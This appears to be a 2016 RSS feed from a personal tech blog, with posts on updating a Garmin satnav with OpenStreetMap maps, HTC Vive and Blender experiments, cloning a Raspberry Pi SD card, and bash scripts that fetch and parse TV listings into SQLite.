I know Sat-Navs are close to being disposably cheap but I really wanted to know if I could update this one. <a href="http://mapas.alternativaslibres.es">mapas.alternativaslibres.es</a> takes the daily output of <a href="http://wiki.openstreetmap.org/wiki/Main_Page">the OpenStreetMap project</a> and packages the maps into Garmin ready files. They have maps for countries from all around the world and updated daily.

The process for my N&uuml;vi 1310 was

Find a spare micro SD card (docs say it should be FAT32 and under 4GB but my VFAT 8GB worked fine)
Download the compressed IMG file for the country you want.
Make a folder called [em]Garmin[/em] in the root of the drive and extract the IMG file.
Plug it in and navigate to [em]Tools/Settings/Map[/em] then hit the separate [em]Info[/em] button.
Make sure the [em]OpenSteetMap[/em] file is enabled.

I also needed to disable the existing Garmin maps on the same page.

Instant new life to an otherwise obsolete device!
</description>
</item>
<item>
<title>clawing your way back from yahoo mail x800+</title>
<pubDate>Fri, 07 Oct 2016 21:56:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2016.html#p071020162156</link>
<description>
I never signed up for a Yahoo! account, but a free web-mail provider I did sign up for was gobbled up by them in the early 2000's.

They required I agree to their terms and conditions but I never click the "agree" button ...

Then I forgot about the account and then today I thought it would be a good idea to archive all that history. I expected about a 100 emails but when all was counted the total was 845. Seems I had used it a bit more back then than I had thought.

Yahoo! do not have an export option so I opted for adding a mailbox and account to Claws mail.

Incomming:pop.mail.yahoo.com
Out going:smtp.mail.yahoo.com
UserId:your email address (not your user id, go figure)
Set SSL for both POP3 and SMTP
Let it chose the ports

But I kept getting
<code class="output">
[AUTHENTICATIONFAILED] (#MBR1212) Incorrect
</code>

The answer was to 

Make sure "Allow apps that use less secure sign in" is enabled.​ That is found under your account settings and security.

And finally use the Yahoo! web-mail interface to move all your emails from all your other folders including "Sent" to Inbox.
</description>
</item>
<item>
<title>live raspberry pi build in vr</title>
<pubDate>Fri, 30 Sep 2016 20:55:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p300920162055</link>
<description>
So that <a href="http://www.jumpstation.co.uk/flog/Sep2016.html#p240920161603">Blendered Raspberry Pi</a> made it into VR a lot quicker than I thought.

This video shows me mucking about with the scene I created in <a href="https://unity3d.com/">Unity</a>.
<iframe width="560" height="315" src="https://www.youtube.com/embed/sVfsx0tEm2g" frameborder="0" allowfullscreen></iframe>

Yes, you can stand on the Raspberry Pi while trying to place all the components.

I do intend on doing a few more improvements but, I cannot see this ever reaching a point where it will be releasable. But, you never know...
</description>
</item>
<item>
<title>vr budget cuts cause real headache</title>
<pubDate>Sat, 24 Sep 2016 22:43:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p240920162243</link>
<description>
The HTC Vive allows you to take screen shots and view them as 3D snapshots. You can also find files on your machine at.
<code>C:\Users\USERNAME\AppData\Local\Temp
C:\Program Files (x86)\Steam\userdata\366764375\760</code>

Note, the Temp one seems to get wiped when the machine is shutdown. I have no idea if the numbers in the Steam userdata folder are consistent.

In one there is a 2D and a 3D image saved as JPG and in the other the pair are both PNG. 

I tried to take a screen shot of each app we have at the moment but, loads ended up washed out and either far too dark or far too light.

Here is the first in a series

<img src="images/htcvive/Budget%20Cuts%20Demo%2020160920210537_1.jpg" alt="Screenshot from Budget Cuts demo featuring player standing on beam above robot with knives drawn" />

That is a screen shot from [em]Budget Cuts Demo[/em] a &quot;stealth 'em up&quot;. Your character can &quot;fire&quot; a teleportation node that can be used for remote viewing before you commit to a move.

It is one of the best demos available at the moment with such immersion that I ducked out of a doorway I was entering and tried to flatten myself against the wall. Only the wall was virtual, so I physically fell through it. The knives you can see exposed in the inventory above are complete virtual objects and can embed themselves in walls as well as bad robots. They can then be retrieved. One final experience I must relate from playing this through to completion is that when crawling (literally) in a ceiling space do not try and stick your head through a missing ceiling tile. I headbutted the floor in the real world.

If the final game is anything like the demo lots of people will be lining up to buy it!
</description>
</item>
<item>
<title>blender rendered raspberry pi is destined for a vr bath</title>
<pubDate>Sat, 24 Sep 2016 16:03:56 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p240920161603</link>
<description>
Time for a quick image that hopefully will make its way on to the HTC Vive.

<img src="images/raspberrypi_B_sdcardslottex_20160922.jpg" alt="3D render or raspberry pi model B" />

I got both the models and the images from other sources, but I had to modify both quite heavily for my purposes.

The modelling, material mapping and rendering was all done in Blender over a couple of nights.
</description>
</item>
<item>
<title>htc vive playlist finally revealed</title>
<pubDate>Sat, 24 Sep 2016 15:20:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p240920161520</link>
<description>
That playlist for the HTC Vive is
[url]https://www.youtube.com/watch?v=CW5VBqewIBU&list=PLPSfdZNK27E0NgPESr5kNLKKWJcOjvyv8[/url]

Includes time-lapse of unpacking (but not setting up), find a real cat in the real world is a hazard to VR users and lots of TiltBrush.
</description>
</item>
<item>
<title>HTC Vive balloon wheelchair exposed</title>
<pubDate>Fri, 23 Sep 2016 21:46:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p230920162146</link>
<description>
I keep promising HTC Vive stuff. Well here a couple of video from a longer play-list I have just uploaded.

First up we have balloons in a lava tube.
<iframe width="560" height="315" src="https://www.youtube.com/embed/SxAGe3tFrxE" frameborder="0" allowfullscreen></iframe>
Value Software's &quot;the Lab&quot; has a number of experiences including this &quot;Postcard&quot; called the &quot;Lava tube&quot;. You can not walk about but can jump to different viewpoints. In the other &quot;post cards&quot; you usually have a virtual robotic dog who will fetch sticks when thrown. In this one there is no dog but instead a balloon maker. Each balloon is fully interactive and can be hit, bump into the surroundings or other balloons. The balloons even pop if the hit the top of the cave, which is why I spend most of the video trying to get them out of cave. This was recorded using [em]Win+G[/em] which seems to be a new thing in Windows 10.

When I first setup the Vive we all wanted ago so we wired up my wife while she was in the wheelchair.
<iframe width="560" height="315" src="https://www.youtube.com/embed/p_K9KXhGQVo" frameborder="0" allowfullscreen></iframe>

Imagine how this technology could transform lives of people restricted to wheelchairs, hospital beds or even just care homes.
</description>
</item>
<item>
<title></title>
<pubDate>Mon, 19 Sep 2016 20:19:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p190920162019</link>
<description>
This is the beginning of the end, super resistive bacteria and how to evolve them.

<iframe width="560" height="315" src="https://www.youtube.com/embed/plVk4NVIUh8" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>blended torus hair with colour ramp</title>
<pubDate>Sun, 18 Sep 2016 21:59:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162159</link>
<description>
More <a href="/flog/tags.html?tag=blender">Blender fun</a>

I created a extruded cube in blender, then added a torus and simply set the torus to be the [em]hair object[/em]. The final piece of the puzzle was to set the node colour for each [em]hair[/em] item to be sourced from a [em]ColorRamp[/em] that was powered by an [em]Object Info->Random[/em].

<img src="images/Screenshot_Blender_torus_hair_nodes.jpg" alt="blender screen-shot of the hair nodes and the torus as hair on an extruded cube">

<img src="thumb random rings on glass 001.jpg" alt="thumbnail of abstract image created with blender, torus set as hair object, colour set 1">
<img src="thumb random rings on glass 002.jpg" alt="thumbnail of abstract image created with blender, torus set as hit object, colour set 2">
<img src="thumb random rings on glass 003.jpg" alt="thumbnail of abstract image created with blender, torus set as hat object, colour set 3">
<img src="thumb random rings on glass 004.jpg" alt="thumbnail of abstract image created with blender, torus set as hairy object, colour set 4">

FYI: I did jiggle the Hair settings a bit to get it nice and Random.

</description>
</item>
<item>
<title>blendering lots of named objects with pattern</title>
<pubDate>Sun, 18 Sep 2016 21:32:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162132</link>
<description>
For my first image that is larger than usual I have a Blender tip that I found.

When you have a large number of elements in Blender it is not just good practice to name them sensibly but, essential!

I was given some large 3D files to work with(more on that in a later post) and I needed to set each of 490 elements a specific colour. I could find them in the hierarchy easily enough but it was taking for ever doing one at a time.

Luckily the elements where named red_001, red_002, red_003 etc and I found that I could use the [em]Select pattern...[/em] in the [em]Select[/em] menu. Sadly not a regular expression but "red_*" selected all the elements to be "reddyifed".

Once selected change the material. It only changes the last one selected so then hit [em]CTRL+L[/em] and from the menu select [em]Materials[/em].

<img src="images/Screenshot_Blender_Select_Pattern.jpg" alt="screen-shot of the blender application with the select pattern menu and dialog">

FYI: I could not help compressing the JPG a bit, so it's only 24kb. In the past I would have aimed for half that.
</description>
</item>
<item>
<title>1and1 forget to tell me I have an extra 49.4gb</title>
<pubDate>Sun, 18 Sep 2016 20:58:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162058</link>
<description>
So in the process of trying to setup FTP for the f-log I wanted to check my hosters setting to see if it wanted me to enable SFTP.

I like 1and1.co.uk but they have dumbed down their control panel to the point of uselessness. Eventually found that SFTP was on by default, so no changes needed there.

When I setup this site I got 500mb as the FTP quota and I have always been very careful to keep all my images and other files as small as possible. But I had not checked the usage amount for many years and I wondered how close I was to the limit and if there was a &quot;buy more&quot; button.

Well, first up I found I had used 486mb (there are a number of sites hanging off that hosting contract as well as this one) but I found the quota was 50gb. That's right I have 49.5gb free!

I think I should start up-loading some more serious detailed shots.
</description>
</item>
<item>
<title>lftp I have no idea</title>
<pubDate>Sun, 18 Sep 2016 20:50:10 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162050</link>
<description>
Not entirely sure what I did there. tried force SSL mode, no good and tried forcing the port to 22 also bad. So just set it back to no extra settings but had the connection in the command script rather than part of the invocation. 

Seemed to work though ...
</description>
</item>
<item>
<title>flog sftp test again</title>
<pubDate>Sun, 18 Sep 2016 20:45:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162045</link>
<description>
HTC Vive is amazing and I *need* to blog about it but, I also need to fix my FTP for the blog.

Do not adjust your set. Please stand by ...

again ...

and again ...
</description>
</item>
<item>
<title>flog sftp port test</title>
<pubDate>Sun, 18 Sep 2016 20:43:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920162043</link>
<description>
HTC Vive is amazing and I *need* to blog about it but, I also need to fix my FTP for the blog.

Do not adjust your set. Please stand by ...

again...
</description>
</item>
<item>
<title>ftp what</title>
<pubDate>Sun, 18 Sep 2016 15:29:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2016.html#p180920161529</link>
<description>
HTC Vive is amazing and I *need* to blog about it but, I also need to fix my FTP for the blog.

Do not adjust your set. Please stand by ...
</description>
</item>
<item>
<title>htc vive unity magic setup sequence</title>
<pubDate>Tue, 30 Aug 2016 22:56:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p300820162256</link>
<description>
The Vive is for research into creating specific VR content. So after prising the kids off the thing (documentation states its not for kids!) I download Unity and followed guide to getting Vive content working.

First up, I have never tried Unity before, although I have watched someone else use it. That said the instructions were to go to the [em]Asset Store[/em] and import all the modules for [em]SteamVR[/em]. But what ever I tried the example scene would not appear on the Vive, although the HMD tracking did work.

After over three hours of searching and reading ever forum post I could find I have the following steps.

. From the SteamVR control panel (that thing that is always running with the status of the Vive hardware). Select [em]Settings/Developer[/em] and click the button marked [em]Disable Direct Mode[/em]. (It will not be happy about the choice but just ignore the warnings)
. Make sure the Windows Display Settings has your Desktop as the main monitor(forum post suggest disconnecting any other monitors). Note the position of the monitors(the Vive will be now listed as a second monitor).
. Load up Unity and the example (called Scenes/Example) from the SteamVR asset and click play.
. The Head set will now show red(nothing 3D). Move the mouse to the right(if that was where the Vive monitor was shown in the settings).
. Left click the mouse.

The Vive will now show the 3D world from Unity and the controllers!

All seems very straight forward but just about everyone of those steps was mentioned either independently of each other or as the opposite e.g. "Make the Vive monitor the main", "Enable Direct Mode" etc.

Interaction with Unity with the mouse will BREAK the 3D view in the Vive HMD and you will have to move it back on to the Vive monitor and left click again, presumably to focus.
</description>
</item>
<item>
<title>htc viv where are my feet</title>
<pubDate>Tue, 30 Aug 2016 17:40:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p300820161740</link>
<description>
HTC Vive has arrived and it really is a game changer.
No time to blog about it but I do have a couple of comments.

First time using it, biggest reaction was "I have no feet!".
Tracking stops you banging into walls and furniture but does not know where the ceiling is. We have dents.
After using the Vive, going down stairs in the real world just feels wrong.
If you are thinking of getting one, read up on it. We did not expect the "Light house" units.

More when I am not in or managing others in VR ;)
</description>
</item>
<item>
<title>status update or what I am not doing</title>
<pubDate>Sun, 21 Aug 2016 15:14:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p210820161514</link>
<description>
Time for a quick status update, mainly to try and keep me in check.

<a href="tags.html?tag=tvdig">TVDig</a> : I thought this was dead or at least on ice but, it has been running via cron every day and just working. It has a small issue that it duplicates older entries. But at the end of the day it is finding films.
<a href="tags.html?tag=google">Google Calendar</a> : Oops, complete forgotten about this baby. Life has change so much since Sarah's accident that it is not a valuable to me as it once would have been. Still could be handy.
<a href="tags.html?tag=hat">Python 3D</a> : The Pi sits on the edge of my desk with the Skywriter Hat, permanently powered on. Need to finish that ...
<a href="tags.html?tag=3d">Blender Lab</a> : I have created some lay jars with liquids falling out, just need to add paper and the whirl of atmosphere.
Pi Zero : Yeah, got one of these a few months ago and a part from testing it works it just sits here looking very small. Did take some pictures and I  may have even writhed a draft blog post.
<a href="tags.html?tag=pir">Pi Camera</a> : Hmmm, it's still mounted next to my desk and powered on, need to check if its working. Again life has changed my requirements.
<a href="tags.html?tag=watch">Pebble Magic 8 ball</a> : Keep seeing announcements the SDK has been upgraded but I never seem to want to go back. The watch is excellent and still lasts a full week before needing charging.
<a href="tags.html?tag=virtualbox">Virtual Machine browsing</a> : I like this a lot, but I do need to revisit the OS to try and get copy and paste working. Not fun entering 32 character random GUIDs.

There are other things, I seem to be amazingly good at getting distracted. Oh and Sarah just ordered a <a href="http://www.htcvive.com">HTC Vive</a> for her job(really) so I expect that take my attention when it appears.

I wanted to buy The Martian for the Kindle. I love reading on the Kindle. It is so light and I like the dictionary definitions of words I have never seen before in my life or wiki entries for famous people that I am unaware of.

Straight forward, go to Amazon and find The Martian select Kindle and it's &pound;7.99 which is a lot when I normally spend 1-2 pounds on Kindle books, maybe a fiver. Then I notice the paper back version is only &pound;5.99. So I put the whole idea on ice and get on with my life. That led to a visit to HMV to get someone a birthday present. At the till when I went to pay was an offer to get The Martian for &pound;2.99 when spending of 5 quid, which the present was, so thank you very much.

The book is amazing and I literally could not put it down. Well structured and paced with wit sarcasm and humour mixed in with very detailed believable technology and physics. Totally recommend it! Then The Martian was on NowTV after the first 60 seconds I was spitting. They have hollywoodenised it, steer clear and if you have seen it THE BOOK IS BETTER!

Time is leaking
</description>
</item>
<item>
<title>do my kids eat sd cards and how to shrink them</title>
<pubDate>Sat, 20 Aug 2016 19:44:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p200820161944</link>
<description>
So the kids have cannibalised their Raspberry Pi's to get the USB cables to charge Kindles and goodness knows where the original Kindle charging cables are. This was some weeks ago and I only just got around to buying a replacement cable for them each. 
(we seam to have suspicious lack of USB A to USB B micro cables but a large jar full of USB wall warts).

Plugged in the Pi and ... solid power and solid drive activity LED. Indicates the SD card is bad. Check the seating and other cables just in case but no, it is not happy.

Maybe a corrupt SD card, so I will just take it out and ... hmmm, it will not come out and it looks funny.

The micro SD cards normally have a little lip at the back so you can pull them out of devices, it is not there.

No, I mean it the whole 1mm of card where the lip is, is missing and there is bare metal peaking out of the plastic in its place.
*face palm*

Right the other Pi is fine so lets just get another SD card and clone it. Would be what I could do if, the working card was the same size as the new one. But that would be too easy. The old card is 16GB and the new one is 8GB. And, I know for a fact that the card has only used 4GB.
*face palm*

Hmmm (again). The Raspbian partitions are set up as a FAT boot partition and the main Linux one. So I should be able to clone the boot partition as byte for byte as it's tiny, just 60M. The other one is just a collection of files. I should be able to build it empty and then just copy the files.

Lets try that.

<code>cfdisk /dev/sde</code>
Where [em]/dev/sde[/em] is the SD card on my Linux box when attached with an USB SD card reader(it will almost certainly be different on yours, so be careful).

Delete the existing single partition and create a new [em]primary[/em] partition of [em]60M[/em]. Set [em]bootable[/em] and the type to 
<code class="output">c W95 FAT32 (LBA)</code>

Then another [em]primary[/em] partition but allow it to use all remaining space. This one is set to type
<code class="output">83 Linux</code>

Write the partition table and quit.

and with the source card found at [em]/dev/sdd[/em] (not mounted)
copy the bytes/sectors of the boot partition from one card to the other.
<code>dd bs=4M if=/dev/sdd1 of=/dev/sde1</code>
Where [em]/dev/sdd1[/em] and [em]/dev/sde1[/em] are the first partitions on the two SD cards on my Linux box when attached with USB SD card readers(it will almost certainly be different on yours, so be careful).

Time to make the second partition ready for files
<code>mkfs.ext4 /dev/sde2</code>
Where [em]/dev/sde2[/em] is the second partition on the SD card on my Linux box when attached with an USB SD card reader(it will almost certainly be different on yours, so be careful).

That done I need copy the raw files for the Linux partition.
Mount the two second partitions
<code>mount /mnt/sdd2
mount /mnt/sde2</code>
(I have my [em]/etc/fstab[/em] set up to allow this)
and (as root)
<code>cp -ax /mnt/sdd2/* /mnt/sde2/</code>
Where [em]/dev/sdd2[/em] and [em]/dev/sde2[/em] are the second partitions on the two SD cards on my Linux box when attached with USB SD card readers(it will almost certainly be different on yours, so be careful).

([em]-a[/em] is all properties and [em]-x[/em] is stay on a single file system, in case there was symlink to another)

Files are copied(took ages)
<code>
sync
umount /mnt/sdd2
umount /mnt/sde2
sync
</code>

Plugged in Pi.

Power : CHECK
Activity LED : CHECK
Scrolling text : CHECK

This is going well. So I note how we got here and start putting the Pi in its case. The screen turns black as if the X desktop is about to come up and ...
1 minute passes and still a black/blank screen, uh oh. The screen starts to fill with EXT4 block errors. Groan, does this mean the transfer did not work?

Switch to console one [em]CTRL+ALT+F1[/em] and every command including [em]shutdown[/em] fails :(
*face ---- no not yet

The bloddy/blimin/*@?X%! SD card has ejected while I was putting the case on!!
*face palm* 

Re-seating it and re-powering the Pi and we have ... SUCCESS

The alternatives I read about involved running [em]Gpartd[/em] to shrinking the original source SD card and the [em]dd'ing[/em] the new shrunk card as we did for the boot partition.

Might have been easier but would have endangered to working SD card and to be useful would have required re-sizing after everything was working again.
</description>
</item>
<item>
<title>Will a VM snapshot save your life</title>
<pubDate>Mon, 15 Aug 2016 21:37:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p150820162137</link>
<description>
I have been trying an experiment. Instead of installing lots of browser plugins to remove Ads and make surfing safe I am running all my browsing through a VM.

Its not the perfect solution but I was fed up with sites being incredibly slow when certain things were blocked.

Installed Virtual Box and got a lubuntu image from [url]http://www.osboxes.org[/url]. Now anytime I need to surf I awaken my VM, do some surfing and then close and restore to last snapshot. The snapshot was taken before any surfing occurred. That means that I can get bombarded by Ads and cookies and trackers and the reset to as if it was a new machine!

Can even watch YouTube videos at full frame rate with sound!

There are enough problems to call it a right pain. The current source copy of Virtual Box in Gentoo is a little out of date and I was unable to get the VM Additions installed correctly. This means I do not get full screen or clipboard integration or even shared folders. The only way to get stuff onto or off the VM is to attach a USB thumb drive. The VM can see it as a raw USB device and mount it. I just have to remember to un-mount it on the VM and then remount it on my host.

If I had some time I would try something other than Lubuntu and maybe the binary version of Virtual Box.

When I have some time I will try something other than Lubuntu and the binary version of Virtual Box.

So there is a very small risk that malware could target a VM and break out of it but the chances are very very small. In fact the likelihood is that, malware will detect the VM and immediately shut down to avoid being detected. Plus I am not visiting any nasty sites and running the Virtual Box instance as a non-privileged user.
</description>
</item>
<item>
<title>tv dig on hold while netflix and nowtv expire</title>
<pubDate>Mon, 15 Aug 2016 21:24:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2016.html#p150820162124</link>
<description>
The <a href="tags.html?tag=tvdig">tvdig</a> project is sort of on hold at the moment as we have 4 months of NowTV and we did have a 30 day trial of Netflix.

I have watched so many films in the last five weeks, it's not funny.

The <a href="tags.html?tag=bleb">Bleb</a> stuff works but has annoyances that I need to sort out, mainly because the schedule listings are only available up to 6 days in advance.

I do use it every now and then and we have had some great films that have been adapted for TV so the kids can watch them, that you would only see as 12 and 15 certs on the streaming services.

We have found that with a bit of shopping around it can be cheaper to buy a new NowTV box with a four month movie "pass" than to just buy the "pass". The only reason we ever saw NowTV last year was because they were introducing a new hardware box and selling the old ones for a &pound;10 with a 2-3 month entertainment "pass". That was how I watched Game of Throne season one. I would like to watch more but, at an hour per episode it can be VERY time consuming.
</description>
</item>
<item>
<title>fight the easy way to a xml bleb</title>
<pubDate>Sun, 10 Jul 2016 21:47:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2016.html#p100720162147</link>
<description>
More <a href="http://www.jumpstation.co.uk/flog/Jul2016.html#p100720161936">bleb-ing now we have the data</a>.

XML is a wonderful idea about presenting structured data but depending on what language you use to read it the "wonderful idea" can be a big pain in the butt!

To get the programme data out of the channel xml files I needed to target only the programme data and ignore all the rest.

<code>xmllint --xpath '//programme[ type = "Film" ]' raw/bleb-XML/0/$channelName.xml | tr -d '\n' | sed -re "s/<\/programme>/\n/gi"
</code>

gets only the programmes that are marked as [em]Film[/em] using standard xpath notation then it makes all the results into one big line by removing the [em]\n[/em](carriage returns). Then re-splits the lines on the closing programme tag. This resolves the long descriptions that are spread over multiple lines in the file.
I found a xpath tester that proved invaluable in testing
[url]http://chris.photobooks.com/xml/default.htm[/url]

Then it's just a matter extracting and massaging the data into the SQLite DB. I did not have to change my existing database schema, which is handy. What I did do though is create a new table for channel names. This allows the database channel ids to map to the channel names, which are also the file names.
<code>ls -1 | cat -n | sed -re "s/\s+([0-9]+)\s+([^.]+).+/insert into channel values(\1,'\2','+');/gi" | sqlite3 ../../../database/tv.db 
</code>
that gets a list of all the file names then adds line numbers and then stores the line number as the channel id and the channel name.

So for each of the 7 days(including today)
<code>for i in $(seq 0 6)
do 
  getDaysProgramming $i
done
</code>

loop through each channel, getting the date as we go
<code>function getDaysProgramming() {
  dayNo=$1
  for channel in $(sqlite3 database/tv.db "select id,name from channel;")
  do 
    channelId=( $(echo $channel | cut -d '|' -f1) )
    channelName=( $(echo $channel | cut -d '|' -f2) )
    echo $channelName $channelId
    programmeDate=$(xmllint --xpath '//channel/@date' raw/bleb-XML/$dayNo/$channelName.xml)
    programmeDate=$( getDate $programmeDate)
    ...
</code>
([em]getDate[/em] just re-formats the date string)

Then we process each programme in those channels
<code>    IFS=$'\n';
    for programme in $(xmllint --xpath '//programme[ type = "Film" ]' raw/bleb-XML/$dayNo/$channelName.xml | tr -d '\n' | sed -re "s/<\/programme>/\n/gi")
    do
      echo "[-- $programme --]"
      title=$( getTagValue $programme "title" )
      startTime=$( getTagValue $programme "start" )
      endTime=$( getTagValue $programme "end" )
      year=$( getTagValue $programme "year" )
      description=$( getTagValue $programme "desc" )
      startTime=$(getTime $startTime)
      endTime=$(getTime $endTime)
      title=$(safeEntities $title)
      description=$(safeEntities $description)
      set +e
      if [[ -z "${year// }" ]]
      then
        year=$(getDeepYear $description)
        echo "=====================recovered deep year [$year]"
      fi
      set -e
      echo "insert into programme select null,$channelId,'$title','','','$year','','','','true','','','','','','','','','','$description','','$programmeDate','$startTime','$endTime',0;" | sqlite3 database/tv.db
    done
    unset IFS
</code>

The [em]IFS[/em] bit is important and allows the output of my xmllint command to be interpreted directly as an array. To avoid confusion I unset it at the end.

<code>function getTagValue() {
  raw=$1
  tag=$2
  echo $raw | egrep -q ".*&lt;$tag&gt;.+&lt;\/$tag&gt;.*"
  if [ $? -eq 0 ] 
  then
    echo $raw | sed -re "s/.*&lt;$tag&gt;(.+)&lt;\/$tag&gt;.*/\1/gi"
  else
    echo ""
  fi
}
</code>
Checks the programme string and if the requested tag exists then returns the value. The [em]egrep -q[/em] just hides any errors.

I then have a number string manipulation functions to ensure the data is in the correct format for the database but they are not very exciting.

Finally I really want the year the film was released. Some channels complete the required data field but most do not. However, they often have the year somewhere in the description. It is always four digits but sometimes in round brackets other times in square brackets and other times where additional information on the end.

For some reason this final piece of the puzzle took the longest. It should have been very easy to check the state of [em]$year[/em] and if empty get the last instance of four consecutive digits from the description. The [em]set +e[/em] and [em]set -e[/em] disable the logic that causes the script to end when it encounters an error and then re-enables it.
Every time I checked [em]$year[/em] for being empty and it was not, the script ended. Very annoying.

<code>function getDeepYear() {
  raw=$1
  echo $raw | grep -Po '\d{4}(?!.*\d{4})'
}
</code>

To do a [em]look ahead[/em] in this regular expression required the [em]-P[/em] option, which enables Perl regular expression handling. The [em]o[/em] part is simple so it only returns the matching part.

All the data that I need is then inserted into the existing database and my old unchanged nodejs server works fine.

Why did I mention this is not 100%, it looks feature complete with the old code? I want a better mechanism to get outstanding days data AND to make them obvious in the GUI.

Now it should be pointed out that when trying to find a straight forward method for XML parsing in shell script there was an stackoverflow answer "shell is dead use a proper language" and all I can say to that is where is the fun in doing it the easy way?  ;)

</description>
</item>
<item>
<title>bleb api proves easy on the curl</title>
<pubDate>Sun, 10 Jul 2016 19:36:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2016.html#p100720161936</link>
<description>
I wanted to wait until the TvDig solution was 100% complete but that may never happen ;)

From the <a href="http://www.jumpstation.co.uk/flog/Jun2016.html#p260620162100">two options</a> I did choose [url]http://www.bleb.org/tv/[/url]

API
[url]http://www.bleb.org/tv/data/listings[/url]
Files
[url]http://www.bleb.org/tv/data/listings/[/url]
(and yes that is just a / difference)

Although at first I though I would be downloading individual files for each channel, as with the previous solution, it turns out they have a nice API. The API will package all the days and all the channels for you, avoiding the delay requirement when downloading multiple files.

<code>http://www.bleb.org/tv/data/listings?days=...&format=...&channels=...&file=
</code>

So for my choice of channels its just
<code>http://www.bleb.org/tv/data/listings?days=0..6&amp;format=bleb&amp;channels=bbc1,bbc2,ch4,five,bbc1_hd,bbc3,bbc4,bbc_hd,boomerang,bravo,cartoon_network,cbbc,cbeebies,ch4_hd,dave,e4,film_four,five_us,fiver,itv1_hd,more4,nick_junior,nickelodeon,tcm,tmf,uk_gold,watch,yesterday
</code>
(basically all the free ones that might have films shown

And the curl command that will fetch the next 6 days
<code>curl --user-agent "TVDIG::MEANINGFUL-INDENTIFIER-EMAIL-URL-ETC" -o raw/tv.tbz2 "http://www.bleb.org/tv/data/listings?days=0..6&amp;format=bleb&amp;channels=bbc1,bbc2,ch4,five,bbc1_hd,bbc3,bbc4,bbc_hd,boomerang,bravo,cartoon_network,cbbc,cbeebies,ch4_hd,dave,e4,film_four,five_us,fiver,itv1_hd,more4,nick_junior,nickelodeon,tcm,tmf,uk_gold,watch,yesterday&amp;file=tbz2"
</code>

Then I unpack them into the [em]raw[/em] folder
<code>pushd raw
tar xf tv.tbz2
popd
</code>

which gives a tree structure
<code class="output">
raw/bleb-XML
raw/bleb-XML/0
raw/bleb-XML/1
raw/bleb-XML/2
raw/bleb-XML/3
raw/bleb-XML/4
raw/bleb-XML/5
raw/bleb-XML/6
</code>

and each of those folders has a xml file for each channel
<code class="output">
bbc1.xml     boomerang.xml        ch4_hd.xml     five_us.xml      tcm.xml
bbc1_hd.xml  cartoon_network.xml  dave.xml       fiver.xml        tmf.xml
bbc2.xml     cbbc.xml             e4.xml         itv1_hd.xml      uk_gold.xml
bbc4.xml     cbeebies.xml         film_four.xml  more4.xml        watch.xml
bbc_hd.xml   ch4.xml              five.xml       nickelodeon.xml
</code>

That has got the data next time I will explain how I process it.

</description>
</item>
<item>
<title>scottish trampolines spam the real me</title>
<pubDate>Tue, 05 Jul 2016 22:54:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2016.html#p050720162254</link>
<description>
Something strange happened about a month ago. I started getting invoices, just your usual spam except that they all had the jumpstation domain name on them. Considering that in the past I have received <a href="http://www.jumpstation.co.uk/flog/Jun2012.html#060620122226">physical spam</a>, those were just curious. Maybe an attempt to catch a web site owners attention?

Then I got an invoice that was a note about an invoice with an image of an invoice. I kid you not, the image of the invoice also has the jumpstation domain name in printed form.

&quot;We have a minor issue with our Internet at the moment so I have had to
photograph the attached Invoice rather than scan it.
Hopefully its readable. If there are any issues please let me know.&quot;

As the item was for a &quot;Tuk Tuk&quot; and was quoted as thousands of pounds and had odd grammar, I gave very little thought. But when I then got a couple of emails regarding a site visit listing networking and other items these all noted an address in Scotland.

So I went back to my spam assassin folder and the photograph as it to had a Scottish address.

<img src="images/invoice-table.jpg" alt="invoice image on wooden table heavily obfuscated"/>
(and as you can see it was on <a href="http://thedailywtf.com/articles/Web_0_0x2e_1">a wooden table</a>)

Googling around for ages and it appears and I found planning permission for trampoline park that had the same Postcode. But there was no web presence.

Weeks later I find that a new company with the name Jump Station(note the space) had registered jumpstations.co.uk but everyone was miss spelling it.

Now I was getting a few emails a day that appeared to be for the new Jump Station (Scotland?).

Lots of job applications all with dodgy Word document CV's attached and a couple of competition winners thanking the organiser and providing mailing addresses.
(this all feels like spam)

Apart from the consistency of location I would have disregarded all of these as the usual bombardment of spam. Having had this domain from before the millennium and having created literally 100s of separate email addresses I do get a lot of spam daily.

I tried responding to the latest CV with a nice "I think this was for this other domain" and just got the same CV back. Now I reply with

<code>
 +++++++++++++++++++++++++++++++++++++++++
|  !! MAIL BOUNCE !!                      |
 +++++++++++++++++++++++++++++++++++++++++
|  ERROR: 404                             |
|  SYSTEM: X504.mailsubsystem             |
|  MESSAGE ID: 0008                       |
|  DETAILS:                               |
|  Your message has not been delivered    |
|  to the intended recipient.             |
 +++++++++++++++++++++++++++++++++++++++++

Automated message please do not respond.

Please check your spelling and try again.

common miss-spellings include

jumpstations.co.uk
jumpstation.com
jumpnation.com
jumpfactory.co.uk
jumpstation.fm

Automated message please do not respond.
</code>

It was interesting to see all the other jumpstations[sic] that are registered.
</description>
</item>
<item>
